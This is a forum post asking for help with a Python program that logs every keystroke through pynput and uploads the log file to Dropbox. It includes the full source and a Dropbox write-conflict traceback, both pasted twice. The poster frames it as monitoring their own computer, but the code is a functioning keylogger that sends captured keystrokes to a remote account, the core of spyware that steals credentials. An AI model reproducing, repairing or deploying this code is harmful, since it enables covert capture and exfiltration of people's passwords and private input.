- Joined
- Mar 5, 2017
- Messages
- 1
- Reaction score
- 0
This is a program I am currently making to moniter my computer and send logs to my dropbox, so far it has worked but now my dropbox code is breaking for whatever reason, I believe because it is opened by the script already, and logging keys. so my dropbox script cannot send it because its already in use. that's my guess at least, I know the code is sloppy but I'm still learning and id like to think ive come far with this project. Thanks
import dropbox, logging, win32gui, os, random, time, datetime, threading, datetime, sys, shutil
from pynput.keyboard import Key, Listener
log_dir = ""
log_file = "C:/Users/16endbre/Desktop/test.txt"
dbx = dropbox.Dropbox("MY_AUTH_TOKEN")
title = win32gui
string = "[Start of logs]\n"
start_time = time.time()
#def OnMouseEvent(event):
logging.basicConfig(filename=(log_dir + log_file), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
if (time.time() - start_time) > 10:
with open(log_file, "rb") as f:
dbx.files_upload(f.read(), '/test.txt', mute=True)
print(time.time() - start_time)
with Listener(on_press=on_press) as listener:
listener.join()
error stack from running above code>>
Traceback (most recent call last):
File "C:\Users\16endbre\Desktop\tester.py", line 23, in <module>
listener.join()
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\pynput\_util\__init__.py", line 180, in join
six.reraise(exc_type, exc_value, exc_traceback)
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\six.py", line 685, in reraise
raise value.with_traceback(tb)
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\pynput\_util\__init__.py", line 136, in inner
f(self, *args, **kwargs)
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\pynput\keyboard\_win32.py", line 211, in _process
self.on_press(key)
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\pynput\_util\__init__.py", line 67, in inner
if f(*args) is False:
File "C:\Users\16endbre\Desktop\tester.py", line 16, in on_press
dbx.files_upload(f.read(), '/test.txt', mute=True)
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\dropbox\base.py", line 1252, in files_upload
f,
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\dropbox\dropbox.py", line 272, in request
user_message_locale)
dropbox.exceptions.ApiError: ApiError('8f8c40eabeabdcd72803dc0efd153b9a', UploadError('path', UploadWriteFailed(reason=WriteError('conflict', WriteConflictError('file', None)), upload_session_id='AAAAAAAAACAkuKJ7f4AEig')))
import dropbox, logging, win32gui, os, random, time, datetime, threading, datetime, sys, shutil
from pynput.keyboard import Key, Listener
log_dir = ""
log_file = "C:/Users/16endbre/Desktop/test.txt"
dbx = dropbox.Dropbox("MY_AUTH_TOKEN")
title = win32gui
string = "[Start of logs]\n"
start_time = time.time()
#def OnMouseEvent(event):
logging.basicConfig(filename=(log_dir + log_file), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
if (time.time() - start_time) > 10:
with open(log_file, "rb") as f:
dbx.files_upload(f.read(), '/test.txt', mute=True)
print(time.time() - start_time)
with Listener(on_press=on_press) as listener:
listener.join()
error stack from running above code>>
Traceback (most recent call last):
File "C:\Users\16endbre\Desktop\tester.py", line 23, in <module>
listener.join()
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\pynput\_util\__init__.py", line 180, in join
six.reraise(exc_type, exc_value, exc_traceback)
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\six.py", line 685, in reraise
raise value.with_traceback(tb)
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\pynput\_util\__init__.py", line 136, in inner
f(self, *args, **kwargs)
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\pynput\keyboard\_win32.py", line 211, in _process
self.on_press(key)
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\pynput\_util\__init__.py", line 67, in inner
if f(*args) is False:
File "C:\Users\16endbre\Desktop\tester.py", line 16, in on_press
dbx.files_upload(f.read(), '/test.txt', mute=True)
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\dropbox\base.py", line 1252, in files_upload
f,
File "C:\Users\16endbre\AppData\Local\Programs\Python\Python35-32\lib\site-packages\dropbox\dropbox.py", line 272, in request
user_message_locale)
dropbox.exceptions.ApiError: ApiError('8f8c40eabeabdcd72803dc0efd153b9a', UploadError('path', UploadWriteFailed(reason=WriteError('conflict', WriteConflictError('file', None)), upload_session_id='AAAAAAAAACAkuKJ7f4AEig')))